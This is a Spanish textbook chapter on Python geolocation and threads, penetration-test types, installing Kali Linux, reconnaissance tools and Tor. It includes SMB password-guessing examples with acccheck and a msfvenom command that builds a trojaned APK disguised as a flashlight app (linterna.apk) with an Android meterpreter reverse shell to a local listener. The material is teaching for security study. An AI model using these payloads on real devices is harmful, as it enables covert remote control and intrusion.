8.8.3 Geolocalizacion - Geocoder

Módulo de geolocalización escrita en Python.

Aquí está un ejemplo típico de recuperar latitud y longitud de Google usando Python:

geocoder1.py

```
#programa : geocoder1.py
#autor : jorge nolasco valenzuela
#fecha : 04-08-2017
"""
descripcion : este programa muestra
el uso de requests
para geolocalizacion
"""
import requests
```

```
url = 'https://maps.googleapis.com/maps/api/geocode/json'
parametros = {'sensor': 'false', 'address': 'Mountain View, CA'}
r = requests.get(url, params=parametros)
resultado = r.json()['results']
location = resultado[0]['geometry']['location']
location['lat'], location['lng']
print("="*45)
print(location)
print("="*45)
```

```
=============================================
{'lat': 37.3860517, 'lng': -122.0838511}
=============================================
```

A continuación, para poder realizar múltiples procesos tenemos que hacer uso de hilos, hacer varias tareas a la vez. La librería usada se le denomina thread, e y es utilizada para procesos pesados que pueden interrumpir el flujo de la aplicación.

Hilos1.py

```
#programa : Hilos1.py
#autor : Jorge Nolasco valenzuela
#fecha : 04-08-2017
"""
descripcion : este programa muestra
el uso de hilos
"""
import _thread
import time
def miHilo(mensaje):
    input(mensaje)
    print("presionastes enter")
_thread.start_new_thread(miHilo,("presione enter",))
print("El input ya no interrumpe la ejecucion")
time.sleep(10)
```

```
El input ya no interrumpe la ejecución
presione enter.
```

8.8.4 Test de penetración

Los test de penetración es un proceso que consiste en poner a prueba un sistema para realizar una evaluación, existen varios tipos de test de penetración:

Prueba de caja negra

No se tienen ningún tipo de conocimiento anticipado sobre la red de la organización; Un ejemplo de este escenario, es cuando se realiza una prueba externa a nivel web, y está es realizada solo con el detalle de una URL o dirección IP, el cual es proporcionado al equipo de pruebas. Esto simula el rol de intentar irrumpir en el sitio web o red de la organización. Así mismo simula un ataque externo realizado por un atacante malicioso.

Prueba de caja blanca

El equipo de pruebas cuenta con acceso para evaluar las redes y ha sido dotado de diagramas de la red y detalles de hardware, sistemas operativos, aplicaciones, entre otra información, antes de que la prueba sea realizada. Esto no iguala a una prueba sin conocimiento pero puede acelerar el proceso en gran medida y obtener resultados más precisos, La cantidad de conocimiento previo conduce a realizar las pruebas a sistemas operativos específicos, aplicaciones y dispositivos de red que residen en la red en lugar de invertir tiempo enumerando lo que podría posiblemente estar en la red. Este tipo de prueba equipara una situación donde el atacante puede tener conocimiento completo de la red interna.

Prueba de Caja Gris

El equipo de pruebas simula un ataque que puede ser realizado por un miembro de la organización inconforme o descontento; el equipo de pruebas debe ser dotado con los privilegios adecuados a nivel de usuario y una cuenta de usuario, además de permitirle acceso a la red interna.

Mis Primeros Pasos con Kali Linux

Kali Linux es una distribución de Linux basada en Debian destinada a pruebas avanzadas de penetración y auditoría de seguridad. Kali contiene varios cientos de herramientas que están orientadas a diversas tareas de seguridad de la información, como pruebas de penetración, investigación de seguridad, informática forense e ingeniería inversa. Kali Linux está desarrollado, financiado y mantenido por Offensive Security, una empresa líder en capacitación en seguridad de la información.

Kali Linux fue lanzado el 13 de marzo de 2013 como una reconstrucción completa y completa de BackTrack Linux, cumpliendo completamente con los estándares de desarrollo de Debian .

- **Más de 600 herramientas de pruebas de penetración incluidas:** Después de revisar cada herramienta que se incluyó en BackTrack, eliminamos una gran cantidad de herramientas que simplemente no funcionaban o duplicaban otras herramientas que proporcionaban la misma funcionalidad o funcionalidades similares. Los detalles sobre lo que está incluido están en el sitio de Kali Tools .

- **Gratis y siempre lo será:** Kali Linux, como BackTrack, es completamente gratuito y siempre lo será. Nunca más tendrás que pagar por Kali Linux.

- **Open source Git tree:** Estamos comprometidos con el modelo de desarrollo de código abierto y nuestro árbol de desarrollo está disponible para que todos lo vean. Todo el código fuente que se incluye en Kali Linux está disponible para cualquiera que desee ajustar o reconstruir paquetes para satisfacer sus necesidades específicas.

- **Cumple con FHS:** Kali se adhiere al Estándar de jerarquía del sistema de archivos, lo que permite a los usuarios de Linux localizar fácilmente binarios, archivos de soporte, bibliotecas, etc.

- **Soporte de dispositivos inalámbricos de gran alcance:** Se ha admitido un punto de conflicto regular con las distribuciones de Linux para las

interfaces inalámbricas. Hemos construido Kali Linux para admitir tantos dispositivos inalámbricos como sea posible, lo que le permite funcionar correctamente en una amplia variedad de hardware y hacerlo compatible con numerosos dispositivos USB y otros dispositivos inalámbricos.

- **Núcleo personalizado, parchado para inyección:** Como verificadores de penetración, el equipo de desarrollo a menudo necesita realizar evaluaciones inalámbricas, por lo que nuestro kernel incluye los últimos parches de inyección.
- **Desarrollado en un entorno seguro:** El equipo de Kali Linux está formado por un pequeño grupo de personas que son las únicas en las que se confía para comprometer paquetes e interactuar con los repositorios, todo lo cual se hace mediante múltiples protocolos seguros.
- **Paquetes y repositorios firmados por GPG:** Cada paquete en Kali Linux está firmado por cada desarrollador individual que lo creó y lo comprometió, y los repositorios también firman los paquetes.
- **Compatibilidad con varios idiomas:** Aunque las herramientas de penetración suelen escribirse en inglés, nos hemos asegurado de que Kali incluya un verdadero soporte multilingüe, permitiendo que más usuarios operen en su idioma nativo y ubiquen las herramientas que necesitan para el trabajo.
- **Totalmente personalizable:** Comprendemos perfectamente que no todos estarán de acuerdo con nuestras decisiones de diseño, por lo que hemos simplificado al máximo nuestros usuarios más aventureros para personalizar Kali Linux a su gusto, hasta llegar al kernel.
- **Compatibilidad con ARMEL y ARMHF:** Dado que los sistemas de placa única basados en ARM como Raspberry Pi y Beagle Black Black, entre otros, son cada vez más frecuentes y de bajo costo, sabíamos que el soporte ARM de Kali necesitaría ser tan robusto como pudiéramos, con instalaciones totalmente operativas para los sistemas ARMEL y ARMHF . Kali Linux está disponible en una amplia gama de dispositivos ARM y tiene repositorios ARM integrados con la distribución principal, por lo que las herramientas para ARM se actualizan junto con el resto de la distribución.

Kali Linux está específicamente diseñado para las necesidades de los profesionales de pruebas de penetración, y por lo tanto toda la documentación en este sitio asume conocimiento previo y familiaridad con el sistema operativo Linux

en general. Por favor, consulte ¿Debería usar Kali Linux? para más detalles sobre qué hace que Kali sea único.

8.8.5 Para qué está diseñado Kali Linux

Kali Linux está específicamente diseñado para cumplir con los requisitos de las pruebas de penetración profesionales y la auditoría de seguridad. Para lograr esto, se implementaron varios cambios básicos en Kali Linux que reflejan estas necesidades:

1. **Simples usuarios pueden acceder al root:** Debido a la naturaleza de las auditorías de seguridad, Kali Linux está diseñado para ser utilizado en un escenario de " usuario único y root ". Muchas de las herramientas utilizadas en las pruebas de penetración requieren privilegios escalonados, y aunque en general es una buena política habilitar únicamente privilegios de raíz cuando sea necesario, en los casos de uso a los que apunta Kali Linux, este enfoque sería una carga.

2. **Servicios de red deshabilitados de manera predeterminada:** Kali Linux contiene ganchos systemd que desactivan los servicios de red de forma predeterminada. Estos enganches nos permiten instalar varios servicios en Kali Linux, a la vez que nos aseguramos de que nuestra distribución permanezca segura de manera predeterminada, sin importar qué paquetes estén instalados. Los servicios adicionales como Bluetooth también están en la lista negra por defecto.

3. **Kernel personalizado de Linux:** Kali Linux utiliza un kernel en sentido ascendente, parchado para la inyección inalámbrica.

4. **Un conjunto *mínimo* y *confiable* de repositorios:** Dados los objetivos y metas de Kali Linux, mantener la integridad del sistema en su conjunto es absolutamente clave. Con ese objetivo en mente, el conjunto de fuentes de software ascendentes que utiliza Kali se mantiene en un mínimo absoluto . Muchos usuarios nuevos de Kali están tentados de agregar repositorios adicionales a sus **sources.list**, pero al hacerlo corre un *riesgo muy serio* de romper su instalación de Kali Linux.

Kali Linux está específicamente diseñado para cumplir con los requisitos de las pruebas de penetración profesionales y la auditoría de seguridad. Para lograr esto, se implementaron varios cambios básicos en Kali Linux que reflejan estas necesidades:

> **ⓘ NOTAS**
> Si está buscando una distribución de Linux para aprender los conceptos básicos de Linux y necesita un buen punto de partida, Kali Linux no es la distribución ideal para usted. Es posible que desee comenzar con Ubuntu, Mint o Debian .

8.8.6 Descargando Kali Linux

Para descargar Kali Linux para diferentes arquitecturas desde la siguiente página:

https://www.kali.org/downloads/

KALI
BY OFFENSIVE SECURITY

Blog Downloads Training Documen

Kali Linux Downloads

Download Kali Linux Images

We generate fresh Kali Linux image files every few months, which we make available for download. This page provides the links to **download Kali Linux** in its latest official release. For a release history, check our Kali Linux Releases page. Please note: You can find unofficial, untested weekly releases at http://cdimage.kali.org/kali-weekly/.

Image Name	Download	Size	Version	sha256sum
Kali Linux 64 Bit	HTTP | Torrent	2.8G	2018.2	56f677e2edfb2efcd0b08662ddde824e254c3d53567ebbbcdbbf5c03efd9bc0f
Kali Linux Light 64 Bit	HTTP | Torrent	865M	2018.2	554f020b0c89d5978928d31b8635a7eeddf0a3900abcacdbc39616f80d247f86
Kali Linux E17 64 Bit	HTTP | Torrent	2.6G	2018.2	be0a858c4a1862eb5d7b8875852e7d38ef852c335c3c23852a8b08807b4c3be8

> **ⓘ IMPORTANTE**
> Nunca descargue imágenes de Kali Linux desde ningún lugar que no sean las fuentes oficiales.
> Asegúrese siempre de verificar las sumas de comprobación SHA256 del archivo que ha descargado según nuestros valores oficiales . Sería fácil para una entidad maliciosa modificar una instalación de Kali para contener exploits o malware y alojarlo extraoficialmente.

8.8.7 Instalación de Kali Linux

Para nuestra instalación vamos a utilizar una máquina virtual:

Descargamos VirtualBox y lo ejecutamos. Una vez instalado, hacemos clic en el botón Nuevo.

Le indicamos un nombre reconocible, en tipo le ponemos Linux, y en Versión ponemos Debian, que es en la distro en la que está basada Kali Linux. Damos a Next.

2gb para las distros de Debian, recomiendo que utilice como máximo la franja de color verde:

Creamos un nuevo disco virtual.

Para usar el VirtualBox y evitar problemas, siempre seleccionamos VDI:

Dejamos que el disco se reserve dinámicamente el espacio usado.

Al instalarse el Kali, ocupa más de 8 Gb de espacio. Recomendamos poner 20 Gb, aunque sería más adecuado 40 Gb:

Una vez creada, procedemos a configurarla.

Antes de crear nuestra máquina hay que montar el ISO a utilizar, así que vamos a Almacenamiento:

Kali Linux - Configuración
General
Sistema
Pantalla
Almacenamiento
Audio
Red
Puertos serie
USB
Carpetas compartidas
Interfaz de usuario
Almacenamiento
Dispositivos de almacenamiento
Controlador: IDE
Vacío
Controlador: SATA
KaliLinux.vd
Atributos
Unidad óptica:
IDE secundario maestro
CD/DVD
Seleccione archivo de disco óptico virtual...
Unidad anfitrión «E:»
Unidad anfitrión «F:»
kali-linux-2018.1-amd64.iso
kali-linux-light-2018.1-amd64.iso
santoku_0.5.iso
Eliminar disco de la unidad virtual
Información
Tipo:
Tamaño:
Ubicación:
Conectado a:
Aceptar
Cancelar

Seleccione un archivo de disco óptico virtual
« kaly linux con pyth... » maquina virtual
Buscar en maquina virtual
Organizar
Nueva carpeta
Acceso rápido
OneDrive
Este equipo
Descargas
Documentos
Escritorio
Imágenes
Música
Objetos 3D
Vídeos
Disco local (C:)
Nombre
Fecha de modifica...
Tipo
kali-linux-2018.1-amd64.iso
01/04/2018 20:17
ISO Image
kali-linux-light-2018.1-amd64.iso
15/04/2018 21:45
ISO Image
Nombre de archivo:
kali-linux-2018.1-amd64.iso
Todos los archivos de discos ópt
Abrir
Cancelar

Presionamos clic en el botón Aceptar.

Ahora Indicamos que podemos utilizar Intenet.

Ahora iniciamos la máquina virtual.

Ahora iniciamos la instalación gráfica.

Seleccionamos nuestro idioma.

Continuar.

Perú.

Teclado Latinoamericano.

Cargando componentes.

Nos pedirá el nombre de la máquina. Luego podremos cambiarlo en el hostname y el host, pero le dejamos ya el nombre; en mi caso kali.

Si vamos a meter el equipo en el dominio, se lo escribimos, sino, lo dejamos en blanco.

Ahora nos pedirá la contraseña de Super Root. Esta no debe olvidarse.

Le marcamos Guiado y con la opción de usar todo el disco.

Seleccionamos el controlador del disco. En este equipo solo hay uno.

Ahora nos pregunta cuántas particiones queremos para el sistema. Por sencillez podré solo una.

Linux no trabaja con sistemas de tratamiento FAT o NTFS como hace Windows, usa ext3 y ext4 principalmente.

Antes de crear las particiones, nos pide confirmación, si estamos seguros decimos que Sí.

Ahora nos dice si queremos usar una réplica de red; le decimos No.

KALI
BY OFFENSIVE SECURITY
Instalar el cargador de arranque GRUB en un disco duro
Instalando el cargador de arranque GRUB
grub-pc (amd64) instalado

Damos Sí.

KALI
BY OFFENSIVE SECURITY
Instalar el cargador de arranque GRUB en un disco duro
Parece que esta instalación es el único sistema operativo en el ordenador. Si esto es así, puede instalar sin riesgos el cargador de arranque GRUB en el registro principal de arranque del primer disco duro.
Aviso: Si el instalador no pudo detectar otro sistema operativo instalado en el sistema, la modificación del registro principal de arranque hará que ese sistema operativo no puede arrancarse. Sin embargo, podrá configurar GRUB manualmente más adelante para arrancarlo.
¿Desea instalar el cargador de arranque GRUB en el registro principal de arranque?
No
Sí
Capturar la pantalla
Retroceder
Continuar

Damos Sí y a Continuar.

Hacemos clic en Continuar.

Ya termina, le damos a continuar y finaliza de instalar las últimas configuraciones.

8.8.8 Contraseña predeterminada de Kali Linux

Durante la instalación, Kali Linux permite a los usuarios configurar una contraseña para el usuario root . Sin embargo, si decide iniciar la imagen en vivo en su lugar, las imágenes i386, amd64, VMWare y ARM se configuran:

```
Usuario: root
Contraseña: toor
```

8.8.9 Iniciando en modo forense

Ingresamos las credenciales:

mar 12:58
Contraseña:
Cancelar
Iniciar sesión

Kali Linux [Corriendo] - Oracle VM VirtualBox
Archivo Máquina Ver Entrada Dispositivos Ayuda
Aplicaciones
Lugares
mar 12:59
CTRL DERECHA

8.8.10 Herramientas de recolección de información

8.8.10.1 ACCCHECK

La herramienta está diseñada como una herramienta de ataque de diccionario de contraseñas que se dirige a la autenticación de Windows a través del protocolo SMB. En realidad, es un script de envoltura alrededor del binario 'smbclient', y como resultado depende de él para su ejecución.

```
Uso = ./acccheck [opcional]
-t [dirección IP de host único]
O
-T [archivo que contiene direcciones IP de destino]
Opcional:
-p [contraseña única]
-P [archivo que contiene contraseñas]
-u [usuario único]
-U [archivo que contiene nombres de usuario]
-v [modo detallado]
```

```
Usage = ./acccheck [optional]

 -t [single host IP address]
 OR
 -T [file containing target ip address(es)]

Optional:
 -p [single password]
 -P [file containing passwords]
 -u [single user]
 -U [file containing usernames]
 -v [verbose mode]

Examples
Attempt the 'Administrator' account with a [BLANK] password.
        acccheck -t 10.10.10.1
Attempt all passwords in 'password.txt' against the 'Administrator' account.
        acccheck -t 10.10.10.1 -P password.txt
Attempt all password in 'password.txt' against all users in 'users.txt'.
        acccehck -t 10.10.10.1 -U users.txt -P password.txt
Attempt a single password against a single user.
        acccheck -t 10.10.10.1 -u administrator -p password
root@kali:~# acccheck -T credencial.txt -v
```

8.8.10.2 METAGOOFIL

Metagoofil es una herramienta de recopilación de información diseñada para extraer metadatos de documentos públicos (pdf, doc, xls, ppt, docx, pptx, xlsx) que pertenecen a una empresa objetivo.

Metagoofil realizará una búsqueda en Google para identificar y descargar los documentos en el disco local y luego extraerá los metadatos con diferentes bibliotecas como Hachoir, PdfMiner? y otros. Con los resultados generará un informe con nombres de usuario, versiones de software y servidores o nombres de máquinas que ayudarán a los evaluadores de penetración en la fase de recopilación de información.

Uso: opciones metagoofil

- -d: dominio para buscar.
- -t: tipo de archivo para descargar (pdf, doc, xls, ppt, odp, ods, docx, xlsx, pptx).
- -l: límite de resultados para buscar (valor predeterminado 200).
- -h: trabajo con documentos en directorio (use "sí" para el análisis local).
- -n: límite de archivos para descargar.
- -o: directorio de trabajo (ubicación para guardar los archivos descargados).
- -f: archivo de salida.

Ejemplo de uso de metagoofil:

```
* cmartorella_at_edge-security.com                    *
*****************************************************
root@kali:~# ls
clave.txt       Documents  Pictures  smb-       usuario1.txt
credencial.txt  Downloads  Public    smb-ips.   Videos
Desktop         Music      scan.log  Templates
root@kali:~# cls
bash: cls: command not found
root@kali:~# clear

root@kali:~# metagoofil -d index-of.es -t pdf -l 100 -n 25 -o if uno.html

*****************************************************
*     /\/\   ___| |_ __ _  __ _  ___   ___  / _(_) | *
*    /    \ / _ \ __/ _` |/ _` |/ _ \ / _ \| |_| | | *
*   / /\/\ \  __/ || (_| | (_| | (_) | (_) |  _| | | *
*   \/    \/\___|\__\__,_|\__, |\___/ \___/|_| |_|_| *
*                            |___/                    *
* Metagoofil Ver 2.2                                  *
* Christian Martorella                                *
* Edge-Security.com                                   *
* cmartorella_at_edge-security.com                    *
*****************************************************
['pdf']
```

8.8.10.3 INFORMACIÓN DE DNS-DNSENUM

Script de perl multiproceso para enumerar la información de DNS de un dominio y descubrir bloques de direcciones IP no contiguas.

◤ OPERACIONES:

- Obtenga el destinatario del host (registro A).
- Obtenga los namservers (enhebrados).
- Obtener el registro MX (enhebrado).
- Realice consultas axfr en servidores de nombres y obtenga BIND VERSION (enhebrado).
- Obtenga nombres y subdominios adicionales a través de google scraping (google query = "allinurl: -www site: domain").
- Los subdominios de fuerza bruta del archivo también pueden realizar recursiones en el subdominio que tienen registros NS (todos con subprocesos).
- Calcule los rangos de red del dominio de clase C y realice consultas whois en ellos (enhebrado).
- Realice búsquedas inversas en netranges (clase C y/y netranges whois) (enhebrado).
- Escribir en el archivo domain_ips.txt ip-blocks.

Uso: dnsenum.pl [Opciones] <dominio>

[Opciones]:

> ⓘ **NOTAS**
>
> El interruptor de fuerza bruta -f es obligatorio.

◤ OPCIONES GENERALES:

- --dnsserver <servidor> Utilice este servidor DNS para consultas A, NS y MX.
- --enum Opción de acceso directo equivalente a --hilos 5 -s 15 -w.
- -h, --help Imprime este mensaje de ayuda.
- --noreverse Omita las operaciones de búsqueda inversa.
- --private Muestra y guarda ips privados al final del archivo domain_ips.txt.

- --subfile <file> Escribe todos los subdominios válidos en este archivo.
- -t, --timeout <valor> Los valores de tiempo de espera tcp y udp en segundos (valor predeterminado: 10s).
- --threads <value> El número de subprocesos que realizarán diferentes consultas.
- -v, --verbose Sea detallado: muestre todo el progreso y todos los mensajes de error.

◤ OPCIONES DE RETIRO DE GOOGLE:

- -p, --pages <valor> El número de páginas de búsqueda de Google para procesar cuando se raspan nombres, el valor predeterminado es 5 páginas, se debe especificar el modificador -s.
- -s, --scrap <valor> El número máximo de subdominios que serán eliminados de Google (por defecto 15).

◤ BRUTE FORCE OPTIONS:

- -f, --file <file> Lee los subdominios de este archivo para realizar la fuerza bruta.
- -u, --update <a | g | r | z>
  Actualiza el archivo especificado con el modificador -f con subdominios válidos.
- a (todas) Actualiza usando todos los resultados.
- g Actualiza solo con los resultados de Google Scraping.
- r Actualiza usando solo resultados de búsqueda inversa.
- z Actualizar usando solo resultados de transferencia de zona.
- -r, --Recursion recursión en subdominios, fuerza bruta todos los subdominios descubiertos que tienen un registro NS.

◤ OPCIONES WHOIS NETRANGE:

- -d, --delay <value> El valor máximo de segundos para esperar entre consultas whois, el valor se define al azar, por defecto: 3s.
- -w, --whois Realiza las consultas whois en los rangos de red de la clase c.

ⓘ ADVERTENCIA

Esto puede generar netranges muy grandes y tomará mucho tiempo para realizar búsquedas inversas.

- OPCIONES DE CONSULTA INVERSA:
  - -e, --exclude <regexp>
    Excluir registros PTR que coincidan con la expresión de expresión regular de los resultados de búsqueda inversa, útiles en nombres de host no válidos.

- OPCIONES DE SALIDA:
  - -o --output <file> Salida en formato XML. Se puede importar en MagicTree (www.gremwell.com)

A continuación, realizamos una aplicación:

8.8.10.4 DNSTRACER

dnstracer determina de dónde proviene un servidor de nombres de dominio (DNS) dado para un nombre de host dado, y sigue la cadena de servidores DNS de nuevo a la respuesta autoritativa.

Uso: dnstracer [opciones] [host]

- -c: deshabilita el almacenamiento en caché local, habilitado por defecto.
- -C: enable caché negativo, deshabilitado por defecto.
- -o: habilitar visión general de las respuestas recibidas, defecto predeterminado.
- -q <tipo de consulta>: tipo consulta para usar para las solicitudes DNS, A.
- -r <retries> predeterminado : cantidad de reintentos para las solicitudes DNS, valor predeterminado 3.
- -s <servidor>: use este servidor para la solicitud inicial, localhost predeterminado si se especifica, se usará A.ROOT-SERVERS.NET.
- -t <tiempo de espera máximo>: límite de tiempo de espera por intento.
- -v: verboso.
- -S <dirección IP>: use esta dirección de origen.
- -4: no consultar servidores IPv6.

Rastreando a inkadroid.com, 3 intentos en forma detallada a través del 200.48.225.130.

```
        -4: don't query IPv6 servers
root@kali:~# dnstracer -r 3 -v inkadroid.com
Tracing to inkadroid.com[a] via 200.48.225.130, maximum of 3 retries
200.48.225.130 (200.48.225.130) IP HEADER
- Destination address:  200.48.225.130
DNS HEADER (send)
- Identifier:           0x401C
- Flags:                0x00 (Q )
- Opcode:               0 (Standard query)
- Return code:          0 (No error)
- Number questions:     1
- Number answer RR:     0
- Number authority RR:  0
- Number additional RR: 0
QUESTIONS (send)
- Queryname:            (9)inkadroid(3)com
- Type:                 1 (A)
- Class:                1 (Internet)
DNS HEADER (recv)
- Identifier:           0x401C
- Flags:                0x8080 (R RA )
- Opcode:               0 (Standard query)
- Return code:          0 (No error)
- Number questions:     1
```

```
- Resource data:        (3)ns1(11)sipanserver(3)com
AUTHORITY RR
- Domainname:           (9)inkadroid(3)com
- Type:                 2 (NS)
- Class:                1 (Internet)
- TTL:                  86400 (24h)
- Resource length:      18
- Resource data:        (3)ns2(11)sipanserver(3)com
ADDITIONAL RR
- Domainname:           (3)ns2(11)sipanserver(3)com
- Type:                 1 (A)
- Class:                1 (Internet)
- TTL:                  14400 (4h)
- Resource length:      4
- Resource data:        162.220.165.61
ADDITIONAL RR
- Domainname:           (3)ns1(11)sipanserver(3)com
- Type:                 1 (A)
- Class:                1 (Internet)
- TTL:                  14400 (4h)
- Resource length:      4
- Resource data:        64.20.40.34
Got authoritative answer
root@kali:~#
```

Rastreando a google.com reduciendo información a través de cisco.com.

```
DNSTRACER version 1.8.1 - (c) Edwin Groothuis - http://www.mavetju.org
Usage: dnstracer [options] [host]
        -c: disable local caching, default enabled
        -C: enable negative caching, default disabled
        -o: enable overview of received answers, default disabled
        -q <querytype>: query-type to use for the DNS requests, default A
        -r <retries>: amount of retries for DNS requests, default 3
        -s <server>: use this server for the initial request, default localhost
                     If . is specified, A.ROOT-SERVERS.NET will be used.
        -t <maximum timeout>: Limit time to wait per try
        -v: verbose
        -S <ip address>: use this source address.
        -4: don't query IPv6 servers
root@kali:~# dnstracer -o -s cisco.com google.com
Tracing to google.com[a] via cisco.com, maximum of 3 retries
cisco.com (2001:0420:1101:0001:0000:0000:0000:0185) * * *

root@kali:~#
```

8.8.11 Ataque a Android con Msfvenom

Primer paso

El primer paso a realizar será generar un APK malicioso que hará de agente/bot. Este software debería ser instalado en el dispositivo Android a controlar. Por ejemplo, yo realizaré las pruebas en un entorno local:

```
msfvenom -p android/meterpreter/reverse_tcp
LHOST=192.168.1.50 LPORT=4444 R > /root/linterna.apk
```

Tener todo nuestro sistema operativo KALI LINUX actualizado.

Segundo paso

Abrimos una ventana.

Tercer paso

Averiguamos la IP:

Cuarto paso

Arrancamos msfconsole:

Quinto paso

Cargar el exploit:

Sexto paso

Cargar el payload reverse_tcp de Android.

Séptimo paso

Posteriormente configuraremos la dirección IP donde dejaremos el manejador escuchando y el puerto que previamente hemos indicado al bot al que se debe conectar:

Octavo paso

Ejecutamos la instrucción exploit:

8.9 REDES TOR

La red Tor es un grupo de servidores operados por voluntarios que permite a las personas mejorar su privacidad y seguridad en Internet. Los usuarios de Tor emplean esta red conectándose a través de una serie de túneles virtuales en lugar de

establecer una conexión directa, lo que permite que las organizaciones y las personas compartan información a través de redes públicas sin comprometer su privacidad. En la misma línea, Tor es una herramienta efectiva para eludir la censura, lo que permite a los usuarios llegar a destinos o contenido bloqueados. Tor también se puede utilizar como un bloque de construcción para desarrolladores de software para crear nuevas herramientas de comunicación con características de privacidad incorporadas.

Las personas usan Tor para evitar que los sitios web sigan su rastro y el de sus familiares, o para conectarse a sitios de noticias, servicios de mensajería instantánea o similares cuando sus proveedores locales de Internet bloquean estos. Los servicios de cebolla de Tor permiten a los usuarios publicar sitios web y otros servicios sin necesidad de revelar la ubicación del sitio. Las personas también utilizan Tor para la comunicación socialmente sensible: salas de chat y foros web para sobrevivientes de violación y abuso, o personas con enfermedades.

Los periodistas usan Tor para comunicarse de forma más segura con denunciantes y disidentes. Las organizaciones no gubernamentales (ONG) utilizan Tor para permitir que sus trabajadores se conecten al sitio web de su hogar mientras están en un país extranjero, sin notificar a todos los que están cerca que están trabajando con esa organización.

Grupos como Indymedia recomiendan Tor para salvaguardar la privacidad y seguridad en línea de sus miembros. Grupos activistas como Electronic Frontier Foundation (EFF) recomiendan a Tor como un mecanismo para mantener las libertades civiles en línea. Las corporaciones usan Tor como una forma segura de realizar análisis competitivos y proteger los patrones de adquisición delicados de los espías. También lo usan para reemplazar VPN tradicionales, que revelan la cantidad exacta y el momento de la comunicación. ¿En qué lugares tienen empleados trabajando hasta tarde? ¿En qué ubicaciones los empleados consultan sitios web de búsqueda de empleo? ¿Qué divisiones de investigación se están comunicando con los abogados de patentes de la compañía?

Una rama de la Marina de los EE. UU. utiliza Tor para la recopilación de inteligencia de código abierto, y uno de sus equipos utilizó Tor mientras se encontraba en el Medio Oriente recientemente. Las fuerzas del orden público usan Tor para visitar o vigilar sitios web sin dejar direcciones IP del gobierno en sus registros web, y para la seguridad durante las operaciones punzantes.

La variedad de personas que usan Tor es en realidad parte de lo que lo hace tan seguro. Tor te oculta entre los demás usuarios de la red, por lo que cuanto más poblada y diversa sea la base de usuarios de Tor, más se protegerá tu anonimato.

8.9.1 Utilidad de las redes Tor

Usar Tor lo protege contra una forma común de vigilancia de Internet conocida como "análisis de tráfico". El análisis del tráfico puede usarse para inferir quién está hablando con quién a través de una red pública. Conocer la fuente y el destino de su tráfico de Internet le permite a otros rastrear su comportamiento e intereses. Esto puede afectar su chequera si, por ejemplo, un sitio de comercio electrónico usa discriminación de precios en función de su país o institución de origen. Incluso puede amenazar su trabajo y su seguridad física al revelar quién es y dónde se encuentra. Por ejemplo, si viaja al extranjero y se conecta a las computadoras de su empleador para verificar o enviar correos, puede revelar inadvertidamente su origen nacional y afiliación profesional a cualquier persona que observe la red, incluso si la conexión está encriptada.

¿Cómo funciona el análisis del tráfico? Los paquetes de datos de Internet tienen dos partes: una carga útil de datos y un encabezado utilizado para el enrutamiento. La carga de datos es lo que se envía, ya sea un mensaje de correo electrónico, una página web o un archivo de audio. Incluso si cifra la carga de datos de sus comunicaciones, el análisis de tráfico aún revela mucho sobre lo que está haciendo y, posiblemente, sobre lo que está diciendo. Esto se debe a que se centra en el encabezado, que revela la fuente, el destino, el tamaño, el tiempo, etc.

Un problema básico para la privacidad es que el destinatario de sus comunicaciones puede ver que lo envió al mirar los encabezados. También pueden los intermediarios autorizados, como los proveedores de servicios de Internet, y en ocasiones también intermediarios no autorizados. Una forma muy simple de análisis de tráfico puede implicar sentarse en algún lugar entre el remitente y el destinatario en la red, mirando los encabezados.

Pero también hay tipos más potentes de análisis de tráfico. Algunos atacantes espían en varias partes de Internet y usan sofisticadas técnicas estadísticas para rastrear los patrones de comunicación de muchas organizaciones e individuos diferentes. El cifrado no ayuda contra estos atacantes, ya que solo oculta el contenido del tráfico de Internet, no los encabezados.

8.9.2 La solución: una red distribuida y anónima

Tor ayuda a reducir los riesgos de un análisis de tráfico simple y sofisticado al distribuir sus transacciones en varios lugares de Internet, por lo que ningún punto puede vincularlo con su destino. La idea es similar a usar una ruta complicada y difícil de seguir para arrojar a alguien que te está siguiendo y luego borrar periódicamente tus huellas. En lugar de tomar una ruta directa de origen a destino, los paquetes de datos en la red Tor toman un camino aleatorio a través de varios relevos que cubren sus pistas para que ningún observador en un solo punto pueda decir de dónde provienen los datos o hacia dónde se dirigen.

Para crear una vía de red privada con Tor, el software o cliente del usuario construye incrementalmente un circuito de conexiones encriptadas a través de relés en la red. El circuito se extiende de un salto a la vez, y cada relevador a lo largo del camino solo sabe qué relevador le dio datos y a qué retransmisión le está dando datos. Ningún relevador individual conoce el camino completo que ha tomado un paquete de datos. El cliente negocia un conjunto separado de claves de cifrado para cada salto a lo largo del circuito para garantizar que cada salto no pueda rastrear estas conexiones a medida que pasan.

Una vez que se ha establecido un circuito, se pueden intercambiar muchos tipos de datos y se pueden implementar diferentes tipos de aplicaciones de software a través de la red Tor. Debido a que cada repetidor no ve más de un salto en el circuito, ni un espía ni un retransmisor comprometido pueden usar el análisis de tráfico para vincular el origen y el destino de la conexión. Tor solo funciona para flujos TCP y puede ser utilizado por cualquier aplicación con soporte SOCKS. Para mayor eficiencia, el software Tor usa el mismo circuito para conexiones que ocurren dentro de los mismos diez minutos más o menos. Las solicitudes posteriores reciben un nuevo circuito para evitar que las personas relacionen sus acciones anteriores con las nuevas.

8.9.3 Mantenerse anónimo

Tor no puede resolver todos los problemas de anonimato. Se enfoca solo en proteger el transporte de datos. Debe utilizar el software de soporte específico del protocolo si no desea que los sitios que visita vean su información de identificación. Por ejemplo, puede usar el Navegador Tor mientras navega por la web para retener información sobre la configuración de su computadora.

Además, para proteger su anonimato, sea inteligente. No proporcione su nombre u otra información reveladora en formularios web. Tenga en cuenta que, como todas las redes anónimas que son lo suficientemente rápidas para la navegación web, Tor no brinda protección contra los ataques de temporización de extremo a extremo: si su atacante puede ver el tráfico que sale de su computadora, y también el tráfico que llega a su destino elegido, puede usar el análisis estadístico para descubrir que son parte del mismo circuito.

8.9.4 El futuro de Tor

Proporcionar una red de anonimato utilizable en Internet hoy es un desafío continuo. Queremos un software que satisfaga las necesidades de los usuarios. También queremos mantener la red en funcionamiento de forma que maneje la mayor cantidad de usuarios posible. La seguridad y la usabilidad no tienen que estar

en desacuerdo: a medida que la usabilidad de Tor aumenta, atraerá a más usuarios, lo que aumentará las posibles fuentes y destinos de cada comunicación, aumentando así la seguridad para todos. Estamos progresando, pero necesitamos tu ayuda. Considere ejecutar un relevo o ser voluntario como desarrollador.

